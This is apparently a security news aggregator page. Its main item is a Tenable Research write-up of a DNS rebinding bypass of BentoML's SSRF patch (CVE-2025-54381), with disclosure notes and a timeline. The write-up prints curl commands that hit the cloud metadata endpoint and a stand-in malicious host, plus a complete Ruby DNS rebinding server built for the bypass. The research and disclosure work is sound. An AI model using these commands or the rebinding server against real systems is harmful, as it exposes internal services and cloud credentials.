Aggregator
CVE-2007-3192 | JFFNMS Just For Fun Network Management System 0.8.3 admin/setup.php (EDB-30174 / XFDB-34799)
GOLD SALEM’s Warlock operation joins busy ransomware landscape
How Tenable Found a Way To Bypass a Patch for BentoML’s Server-Side Request Forgery Vulnerability CVE-2025-54381
Tenable Research recently discovered that the original patch for a critical vulnerability affecting BentoML could be bypassed. In this blog, we explain in detail how we discovered this patch bypass in this widely used open source tool. The vulnerability is now fully patched.
Key takeaways- Tenable Research discovered that the initial patch for a high-severity SSRF vulnerability in BentoML – a popular open source tool – could be circumvented.
- The vulnerability (CVE-2025-54381) in the BentoML file-upload processing system could allow remote attackers to make arbitrary HTTP requests from the server without authentication.
- The vulnerability is now fully and properly patched. Users should upgrade immediately to version 1.4.22 or later to fix it.
BentoML is an open source Python framework designed to facilitate the deployment of AI apps and models. It provides a comprehensive environment for packaging, serving, and monitoring models in production, with a simple API system for exposure.
Typically, BentoML functions as an HTTP server that receives data such as files or URLs, processes them through user-defined services, and returns a result. This flexibility makes it convenient for AI model inference endpoints. However, any insecure handling of user-supplied URLs can open the door to server-side request forgery (SSRF) attacks.
Understanding CVE-2025-54381In August 2025, a critical vulnerability was discovered in BentoML versions 1.4.0 through 1.4.18. This SSRF vulnerability allows unauthenticated remote attackers to force the server to perform arbitrary HTTP requests.
An SSRF vulnerability occurs when an application accepts user-provided URLs and performs server-side HTTP requests without adequate validation. This enables attackers to target internal or protected resources, such as cloud metadata endpoints like 169.254.169.254 that contain sensitive information.
For a comprehensive background on SSRF mechanics and common exploitation techniques, read our blog post about SSRF fundamentals.
Minimal vulnerable case:
Here's a minimal example of vulnerable BentoML code:
from pathlib import Path import bentoml @bentoml.service class ImageProcessor: @bentoml.api def process_image(self, image: Path) -> str: return f"Processed image: {image}"Exploitation with curl:
The vulnerability can be exploited using a simple curl command:
curl -X POST http://target:3000/process_image \ -F 'image=http://169.254.169.254/latest/meta-data/'In this scenario, the server downloads content from the attacker-supplied URL and processes it through the application pipeline.
While the vulnerability initially received a CVSS score of 9.9, its practical severity varies between 5.3 and 8.6 depending on network configuration and accessibility.
The official patch analysisIn the original patch, BentoML addressed the vulnerability by implementing an is_safe_url function to filter incoming URLs:
def is_safe_url(url: str) -> bool: """Check if URL is safe for download (prevents basic SSRF).""" try: parsed = urlparse(url) except (ValueError, TypeError): return False if parsed.scheme not in {"http", "https"}: return False hostname = parsed.hostname if not hostname: return False if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}: return False try: ip = ipaddress.ip_address(hostname) return not (ip.is_private or ip.is_loopback or ip.is_link_local) except ValueError: pass try: addr_info = socket.getaddrinfo(hostname, None) except socket.gaierror: return False for info in addr_info: try: ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local: return False except (ValueError, IndexError): continue return True
Filtering is based on:
- A deny list of specific host names (localhost, 127.0.0.1, etc.),
- Blocking private, loopback, and link-local IP addresses,
- DNS resolution followed by IP address filtering.
However, several critical weaknesses undermine this protection:
- Incomplete Blocklist: Alternative addresses like instance-data (internal DNS alias on some cloud platforms) or provider-specific endpoints remain accessible. For example, instead of 169.254.169.254, it is possible to use instance-data (internal DNS alias on some clouds) or other provider-specific addresses that are not listed.
- Unfiltered Cloud Provider IPs: Certain public IP addresses used by cloud providers aren't caught. For example, 100.100.100.200 (Alibaba Cloud metadata endpoint) passes validation.
- No DNS Rebinding Protection: The implementation validates URLs based on initial DNS resolution but doesn't verify subsequent resolutions, enabling DNS rebinding attacks.
This last limitation is the key to bypassing this patch.
Exploitation via DNS rebindingWhile HTTPX (BentoML's HTTP client) doesn't follow redirects by default, DNS rebinding provides an effective bypass:
- Initial Request: DNS resolves to a legitimate public IP, passing is_safe_url validation
- Actual HTTP Request: DNS resolves to a private/loopback IP, accessing prohibited resources
Minimal reproduction code :
The following code illustrates and reproduces the vulnerability
import ipaddress import socket from urllib.parse import urlparse import httpx DEFAULT_TIMEOUT = 10.0 def is_safe_url(url: str) -> bool: try: parsed = urlparse(url) except (ValueError, TypeError): return False if parsed.scheme not in {"http", "https"}: return False hostname = parsed.hostname if not hostname: return False if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}: return False try: ip = ipaddress.ip_address(hostname) return not (ip.is_private or ip.is_loopback or ip.is_link_local) except ValueError: pass try: addr_info = socket.getaddrinfo(hostname, None) except socket.gaierror: return False for info in addr_info: try: ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local: return False except (ValueError, IndexError): continue return True def fetch(url: str) -> bytes: if not is_safe_url(url): raise ValueError("URL not allowed for security reasons") with httpx.Client(timeout=DEFAULT_TIMEOUT) as client: resp = client.get(url) resp.raise_for_status() return resp.content def main(): url = "http://[URL_TO_TEST]" try: body = fetch(url) print(f"Downloaded {len(body)} octets from {url}") except Exception as e: print(f"Download failed : {e!r}") if __name__ == "__main__": main()After testing various public DNS rebinding services (like http://1u.ms/ and https://lock.cmpxchg8b.com/rebinder.html) without success, we developed a custom exploitation script for better control and visibility:
#!/usr/bin/env ruby require 'rubydns' PORT = 53 DOMAIN = '' PUBLIC_IPV4 = '' EXPLOIT_IPV4 = '127.0.0.1' PUBLIC_IPV6 = '' EXPLOIT_IPV6 = '::1' endpoint = Async::DNS::Endpoint.for("0.0.0.0", port: PORT) RubyDNS.run(endpoint) do ipv4_counts = {} ipv6_counts = {} match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::A) do |transaction| hostname = transaction.name.downcase ipv4_counts[hostname] ||= 0 ipv4_counts[hostname] += 1 if ipv4_counts[hostname] == 1 ip = PUBLIC_IPV4 puts "#{transaction.name} → #{ip} (IPv4 VALIDATION)" else ip = EXPLOIT_IPV4 puts "#{transaction.name} → #{ip} (IPv4 EXPLOITATION)" end transaction.respond!(ip, ttl: 0) end match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::AAAA) do |transaction| hostname = transaction.name.downcase ipv6_counts[hostname] ||= 0 ipv6_counts[hostname] += 1 if ipv6_counts[hostname] == 1 ipv6 = PUBLIC_IPV6 puts "#{transaction.name} → #{ipv6} (IPv6 VALIDATION)" else ipv6 = EXPLOIT_IPV6 puts "#{transaction.name} → #{ipv6} (IPv6 EXPLOITATION)" end transaction.respond!(ipv6, ttl: 0) end match(%r{.*#{Regexp.escape(DOMAIN)}$}i) do |transaction| transaction.fail!(:NXDomain) end otherwise do |transaction| transaction.fail!(:NXDomain) end endThe script implements a stateful DNS server that:
- Maintains per-hostname resolution counters
- Returns a public IP on first resolution (passes `is_safe_url` validation)
- Returns a private/loopback IP on subsequent resolutions (enables exploitation)
- Sets TTL to 0 to prevent caching
To use this script, you'll need:
- A publicly accessible server
- A DNS zone configured to delegate queries to your server
- Full control over the DNS resolution process
The use of this script requires a publicly reachable server with a DNS zone configured so that queries for your chosen domain are answered by this script. This gives you full control over the resolution process needed for DNS rebinding.
Final Exploitation
Once the DNS rebinding server is running, the vulnerability can be exploited with:
curl -X POST http://target:3000/process_image \ -d 'image=http://malicious.your-domain.com/'ConclusionWe contacted BentoML and shared our findings with its team, which replied that they were already aware of the problems with the original patch. A few weeks after our communication with BentoML, the organization issued version 1.4.22, fixing the vulnerability.
Tenable Research recognized early the significant role AI/LLM technologies would play in organizations — and the new security challenges they would introduce. To address these, it's crucial to enforce security fundamentals in server development and tool usage. Adhering to basic security practices can significantly mitigate risks from vulnerabilities in novel systems and prevent devastating attacks.
We thank the BentoML security team for their efforts in mitigating this issue and their clear communication during our disclosure process.
Timeline :
- July 31, 2025 : Initial contact
- August 14, 2025 : Second attempt
- August 25, 2025: Vendor acknowledgment - Known issue
- August 26, 2025: BentoML released version 1.4.22 with the fix
From Patch Tuesday to Pentest Wednesday®: Proof That Reshaped Security for a Gaming Operator
Storm-2603: Targeting SharePoint Vulnerabilities and Critical Infrastructure Worldwide
From Quantum Hacks to AI Defenses – Expert Guide to Building Unbreakable Cyber Resilience
Chinese TA415 Uses VS Code Remote Tunnels to Spy on U.S. Economic Policy Experts
North Korean operation uses ChatGPT to forge military IDs as part of cyberattack
China-Aligned TA415 Exploits Google Sheets & Calendar for C2
China-aligned TA415 hackers have adopted Google Sheets and Google Calendar as covert command-and-control (C2) channels in a sustained espionage campaign targeting U.S. government, academic, and think tank entities. By blending malicious operations into trusted cloud services, TA415 aims to evade detection and harvest intelligence on evolving U.S.–China economic policy discussions. Throughout July and August 2025, […]
The post China-Aligned TA415 Exploits Google Sheets & Calendar for C2 appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.